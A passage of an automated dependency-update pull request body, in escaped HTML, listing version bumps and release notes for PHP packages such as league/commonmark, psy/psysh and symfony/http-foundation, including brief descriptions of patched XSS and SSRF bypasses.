Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.0.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `google/protobuf` from 4.31.1 to 4.33.6\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/84b008c23915ed94536737eae46f41ba3bccfe67\"\u003e\u003ccode\u003e84b008c\u003c/code\u003e\u003c/a\u003e 4.33.6 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/1debe453db83159b98a38df5a3737feb1e8ef016\"\u003e\u003ccode\u003e1debe45\u003c/code\u003e\u003c/a\u003e 5.34.0 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/3f6644d863943ebedafacfbfff2cb1c967a766b2\"\u003e\u003ccode\u003e3f6644d\u003c/code\u003e\u003c/a\u003e 5.34.0RC2 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/6fd2d13a7591515c8d09e6278f1a42a78e1adeac\"\u003e\u003ccode\u003e6fd2d13\u003c/code\u003e\u003c/a\u003e 4.29.6 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/ebe8010a61b2ae0cff0d246fe1c4d44e9f7dfa6d\"\u003e\u003ccode\u003eebe8010\u003c/code\u003e\u003c/a\u003e 4.33.5 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/a217acb35241a96fd6d6280e2b2540c30bd028f7\"\u003e\u003ccode\u003ea217acb\u003c/code\u003e\u003c/a\u003e 5.34.0RC1 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/22d28025cda0d223a2e48c2e16c5284ecc9f5402\"\u003e\u003ccode\u003e22d2802\u003c/code\u003e\u003c/a\u003e 4.33.4 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/281537d44d6c270606354e65bfa75a0969dbd629\"\u003e\u003ccode\u003e281537d\u003c/code\u003e\u003c/a\u003e 4.33.3 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/fbd96b7bf1343f4b0d8fb358526c7ba4d72f1318\"\u003e\u003ccode\u003efbd96b7\u003c/code\u003e\u003c/a\u003e 4.33.2 sync\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/protocolbuffers/protobuf-php/commit/0cd73ccf0cd26c3e72299cce1ea6144091a57e12\"\u003e\u003ccode\u003e0cd73cc\u003c/code\u003e\u003c/a\u003e 4.33.1 sync\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/protocolbuffers/protobuf-php/compare/v4.31.1...v4.33.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `league/commonmark` from 2.7.0 to 2.8.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/thephpleague/commonmark/releases\"\u003eleague/commonmark's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.8.2\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where the \u003ccode\u003eallowed_domains\u003c/code\u003e setting for the \u003ccode\u003eEmbed\u003c/code\u003e extension can be bypassed, resulting in a possible SSRF and XSS vulnerabilities.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDomainFilteringAdapter\u003c/code\u003e hostname boundary bypass where domains like \u003ccode\u003eyoutube.com.evil\u003c/code\u003e could match an allowlist entry for \u003ccode\u003eyoutube.com\u003c/code\u003e (GHSA-hh8v-hgvp-g3f5)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2\"\u003ehttps://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e2.8.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where \u003ccode\u003eDisallowedRawHtml\u003c/code\u003e can be bypassed, resulting in a possible cross-site scripting (XSS) vulnerability.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDisallowedRawHtmlRenderer\u003c/code\u003e not blocking raw HTML tags with trailing ASCII whitespace (\u003ca href=\"https://github.com/thephpleague/commonmark/security/advisories/GHSA-4v6x-c7xx-hw9f\"\u003eGHSA-4v6x-c7xx-hw9f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed PHP 8.5 deprecation (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1107\"\u003e#1107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kocal\"\u003e\u003ccode\u003e@​Kocal\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1106\"\u003ethephpleague/commonmark#1106\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/freost\"\u003e\u003ccode\u003e@​freost\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1107\"\u003ethephpleague/commonmark#1107\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.8.0...2.8.1\"\u003ehttps://github.com/thephpleague/commonmark/compare/2.8.0...2.8.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e2.8.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a new \u003ccode\u003eHighlightExtension\u003c/code\u003e for marking important text using \u003ccode\u003e==\u003c/code\u003e syntax (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1100\"\u003e#1100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAutolinkExtension\u003c/code\u003e incorrectly matching URLs after invalid \u003ccode\u003ewww.\u003c/code\u003e prefix (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1095\"\u003e#1095\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1103\"\u003e#1103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/samwilson\"\u003e\u003ccode\u003e@​samwilson\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1090\"\u003ethephpleague/commonmark#1090\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ossobuffo\"\u003e\u003ccode\u003e@​ossobuffo\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/pull/1100\"\u003ethephpleague/commonmark#1100\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.7.1...2.8.0\"\u003ehttps://github.com/thephpleague/commonmark/compare/2.7.1...2.8.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e2.7.1\u003c/h2\u003e\n\u003ch2\u003eNotable Changes\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOptimized several regular expressions in \u003ccode\u003eRegexHelper\u003c/code\u003e to improve performance (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/674\"\u003e#674\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1086\"\u003e#1086\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eEmbedProcessor\u003c/code\u003e no longer calls \u003ccode\u003eupdateEmbeds()\u003c/code\u003e when there are no embeds to update (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1081\"\u003e#1081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed missing \u003ccode\u003ebenchmark.php\u003c/code\u003e CSV path validation for non-existent files (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1068\"\u003e#1068\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1085\"\u003e#1085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/thephpleague/commonmark/blob/2.8/CHANGELOG.md\"\u003eleague/commonmark's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[2.8.2] - 2026-03-19\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where the \u003ccode\u003eallowed_domains\u003c/code\u003e setting for the \u003ccode\u003eEmbed\u003c/code\u003e extension can be bypassed, resulting in a possible SSRF and XSS vulnerabilities.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDomainFilteringAdapter\u003c/code\u003e hostname boundary bypass where domains like \u003ccode\u003eyoutube.com.evil\u003c/code\u003e could match an allowlist entry for \u003ccode\u003eyoutube.com\u003c/code\u003e (GHSA-hh8v-hgvp-g3f5)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[2.8.1] - 2026-03-05\u003c/h2\u003e\n\u003cp\u003eThis is a \u003cstrong\u003esecurity release\u003c/strong\u003e to address an issue where \u003ccode\u003eDisallowedRawHtml\u003c/code\u003e can be bypassed, resulting in a possible cross-site scripting (XSS) vulnerability.\u003c/p\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDisallowedRawHtmlRenderer\u003c/code\u003e not blocking raw HTML tags with trailing ASCII whitespace (GHSA-4v6x-c7xx-hw9f)\u003c/li\u003e\n\u003cli\u003eFixed PHP 8.5 deprecation (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1107\"\u003e#1107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[2.8.0] - 2025-11-26\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a new \u003ccode\u003eHighlightExtension\u003c/code\u003e for marking important text using \u003ccode\u003e==\u003c/code\u003e syntax (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1100\"\u003e#1100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAutolinkExtension\u003c/code\u003e incorrectly matching URLs after invalid \u003ccode\u003ewww.\u003c/code\u003e prefix (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1095\"\u003e#1095\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1103\"\u003e#1103\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[2.7.1] - 2025-07-20\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOptimized several regular expressions in \u003ccode\u003eRegexHelper\u003c/code\u003e to improve performance (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/674\"\u003e#674\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1086\"\u003e#1086\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eEmbedProcessor\u003c/code\u003e no longer calls \u003ccode\u003eupdateEmbeds()\u003c/code\u003e when there are no embeds to update (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1081\"\u003e#1081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed missing \u003ccode\u003ebenchmark.php\u003c/code\u003e CSV path validation for non-existent files (\u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1068\"\u003e#1068\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1085\"\u003e#1085\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/59fb075d2101740c337c7216e3f32b36c204218b\"\u003e\u003ccode\u003e59fb075\u003c/code\u003e\u003c/a\u003e Fix DomainFilteringAdapter hostname boundary bypass\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/74b4487b524eaacd34b4e87313f6028671e15562\"\u003e\u003ccode\u003e74b4487\u003c/code\u003e\u003c/a\u003e Document dangers of enabling an unsafe php.ini setting\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/84b1ca48347efdbe775426f108622a42735a6579\"\u003e\u003ccode\u003e84b1ca4\u003c/code\u003e\u003c/a\u003e Almost forgot this entry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/bcf54f5a38cf8e42cca45248b04caba13317459f\"\u003e\u003ccode\u003ebcf54f5\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/7a68ed1c6765bd2650fed6d9857985bdfe655c71\"\u003e\u003ccode\u003e7a68ed1\u003c/code\u003e\u003c/a\u003e Prepare to release 2.8.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/5c0c4c8fe5a31e8260be99e0afad7136a27c79e6\"\u003e\u003ccode\u003e5c0c4c8\u003c/code\u003e\u003c/a\u003e Fix DisallowedRawHtml bypass via newline/tab in tag names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/f6e74434dd1a91f195f80cb0184b746a4187272a\"\u003e\u003ccode\u003ef6e7443\u003c/code\u003e\u003c/a\u003e Add regression test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/0719b6744cc68bc8b037fb30db86b62ec370c557\"\u003e\u003ccode\u003e0719b67\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1107\"\u003e#1107\u003c/a\u003e from freost/fix-php85-deprecation-error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/63ff2e0b12742f379803b5f21aa6f5b50abcd412\"\u003e\u003ccode\u003e63ff2e0\u003c/code\u003e\u003c/a\u003e Fix PHP 8.5 deprecation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/thephpleague/commonmark/commit/8608e9c006d9f44acf8d983b126a813bd8def780\"\u003e\u003ccode\u003e8608e9c\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/thephpleague/commonmark/issues/1106\"\u003e#1106\u003c/a\u003e from Kocal/patch-1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/thephpleague/commonmark/compare/2.7.0...2.8.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `psy/psysh` from 0.12.8 to 0.12.22\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/bobthecow/psysh/releases\"\u003epsy/psysh's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ePsySH v0.12.22\u003c/h2\u003e\n\u003ch2\u003eRuntime config and clipboard support\u003c/h2\u003e\n\u003cp\u003ePsySH has a new \u003ccode\u003econfig\u003c/code\u003e command for inspecting and updating runtime-configurable settings during the current session. You can tweak things like \u003ccode\u003epager\u003c/code\u003e, \u003ccode\u003etheme\u003c/code\u003e, \u003ccode\u003everbosity\u003c/code\u003e, \u003ccode\u003euseSuggestions\u003c/code\u003e, \u003ccode\u003euseSyntaxHighlighting\u003c/code\u003e, \u003ccode\u003eclipboardCommand\u003c/code\u003e, and \u003ccode\u003esemicolonsSuppressReturn\u003c/code\u003e without restarting the shell. Fixes \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/361\"\u003e#361\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThere’s also a new \u003ccode\u003ecopy\u003c/code\u003e command for copying the last result (\u003ccode\u003e$_\u003c/code\u003e) or any expression to your clipboard. Works with system clipboard commands, or via OSC 52 for SSH and remote terminals.\u003c/p\u003e\n\u003cp\u003eConfigure with \u003ccode\u003eclipboardCommand\u003c/code\u003e or \u003ccode\u003euseOsc52Clipboard\u003c/code\u003e in your config.\u003c/p\u003e\n\u003ch2\u003eSemicolon-based return suppression\u003c/h2\u003e\n\u003cp\u003eOptionally suppress return values by ending a statement with \u003ccode\u003e;\u003c/code\u003e, similar to MATLAB/Octave behavior. Supports a \u003ccode\u003e'double'\u003c/code\u003e mode requiring \u003ccode\u003e;;\u003c/code\u003e for suppression (if \u003ccode\u003erequireSemicolons\u003c/code\u003e is also enabled, both \u003ccode\u003etrue\u003c/code\u003e and \u003ccode\u003e'double'\u003c/code\u003e require \u003ccode\u003e;;\u003c/code\u003e).\u003c/p\u003e\n\u003cpre lang=\"php\"\u003e\u003ccode\u003e'semicolonsSuppressReturn' =\u0026gt; true,\r\n'semicolonsSuppressReturn' =\u0026gt; 'double', // Always require ;; to suppress\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eOutput and exception display improvements\u003c/h2\u003e\n\u003cp\u003eStrings are now valid PHP!\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePsySH now preserves backslashes and other characters it previously mangled in a few cases. Fixes \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/351\"\u003e#351\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/568\"\u003e#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMultiline strings are rendered using heredoc-style output rather than triple-quoted strings \u003ccode\u003e\u0026quot;\u0026quot;\u0026quot;\u003c/code\u003e. The old format is available via \u003ccode\u003euseDeprecatedMultilineStrings\u003c/code\u003e until the next major release.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eProviding an \u003ccode\u003eexceptionDetails\u003c/code\u003e callback via config renders additional context about exceptions (e.g. validation errors) alongside the error message. Fixes \u003ca href=\"https://redirect.github.com/bobthecow/psysh/issues/648\"\u003e#648\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eA few other improvements:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMore consistent compact (and non-compact) output spacing.\u003c/li\u003e\n\u003cli\u003eResponsive \u003ccode\u003ehelp\u003c/code\u003e layout adapts to terminal width.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBetter completion for everyone\u003c/h2\u003e\n\u003cp\u003eLegacy readline now shares PsySH’s newer completion engine, which brings much better parity between ext-readline/libedit and experimental interactive readline. Command argument completion, better multiline buffering, and a handful of command-dispatch edge cases now work much more consistently outside experimental readline too.\u003c/p\u003e\n\u003cp\u003eCommands can now define their own argument completions via \u003ccode\u003eCommandArgumentCompletionAware\u003c/code\u003e.\u003c/p\u003e\n\u003ch2\u003eInteractive readline polish\u003c/h2\u003e\n\u003cp\u003eNew in the experimental interactive readline:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLive syntax highlighting\u003c/strong\u003e — code is highlighted as you type. Can be disabled via \u003ccode\u003euseSyntaxHighlighting\u003c/code\u003e if you don't like colors, I guess.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAllman-style indenting\u003c/strong\u003e — opening brackets on a new line get proper indentation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImproved auto-dedent\u003c/strong\u003e — closing brackets automatically reduce indentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003epsy\\info()\u003c/code\u003e and \u003ccode\u003e--info\u003c/code\u003e also report more detail about readline and autocomplete state.\u003c/p\u003e\n\u003cp\u003eRun psysh with \u003ccode\u003e--experimental-readline\u003c/code\u003e and try it out. It's getting kind of awesome!\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/3be75d5b9244936dd4ac62ade2bfb004d13acf0f\"\u003e\u003ccode\u003e3be75d5\u003c/code\u003e\u003c/a\u003e Merge branch 'release/v0.12.22'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/8042a8fec59c72b9a9b5586f9bfe79e26c069aeb\"\u003e\u003ccode\u003e8042a8f\u003c/code\u003e\u003c/a\u003e Bump to v0.12.22\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/fd4cb699ef9df41ecd48f175edde3feaf4d8d794\"\u003e\u003ccode\u003efd4cb69\u003c/code\u003e\u003c/a\u003e Fix phan warning\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/2b350a413b82010f6e88fbb794aa7364d5ca9ecf\"\u003e\u003ccode\u003e2b350a4\u003c/code\u003e\u003c/a\u003e Fix throw special casing in really old php-parser versions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/193e14994706fbe344291741bed2215622b1a659\"\u003e\u003ccode\u003e193e149\u003c/code\u003e\u003c/a\u003e Fix a code cleaner bug with \u003ccode\u003ethrow new Exception\u003c/code\u003e in PHP 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/f583f74b314459c5f838095ce7a341fdd81690b2\"\u003e\u003ccode\u003ef583f74\u003c/code\u003e\u003c/a\u003e Restore VarDumper hard-ref handling, suppress link-only markers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/1e6a0d6e8800e0d82c86b85b7de9e37ac65a74fd\"\u003e\u003ccode\u003e1e6a0d6\u003c/code\u003e\u003c/a\u003e Prefer use statements over FQNs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/484e600e2ac5f0e403796863865de6d8a6a66ebd\"\u003e\u003ccode\u003e484e600\u003c/code\u003e\u003c/a\u003e Simplify theme identity, no-op updates when unchanged\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/f01e492b18146675b218061c0c31b13fe58e3a9a\"\u003e\u003ccode\u003ef01e492\u003c/code\u003e\u003c/a\u003e Standardize test temp dir creation and cleanup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bobthecow/psysh/commit/6f33aea84464ed64b0c684c78fedf1f6620483d8\"\u003e\u003ccode\u003e6f33aea\u003c/code\u003e\u003c/a\u003e Add token-based fallback for incomplete member completion\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/bobthecow/psysh/compare/v0.12.8...v0.12.22\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/http-foundation` from 7.3.0 to 7.4.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/http-foundation/releases\"\u003esymfony/http-foundation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.8\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.7...v7.4.8\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.7...v7.4.8\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.7\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.6...v7.4.7\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.6...v7.4.7\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63603\"\u003e#63603\u003c/a\u003e  Fix session cookie_lifetime not applied in mock session storage (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.6\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.4.5...v7.4.6\"\u003ehttps://github.com/symfony/http-foundation/compare/v7.4.5...v7.4.6\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63448\"\u003e#63448\u003c/a\u003e  Handle empty session data in updateTimestamp() to fix compat with PHP 8.6 (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/http-foundation/issues/63319\"\u003e#63319\u003c/a\u003e  BinaryFileResponse: always return 206 if Range is valid (\u003ca 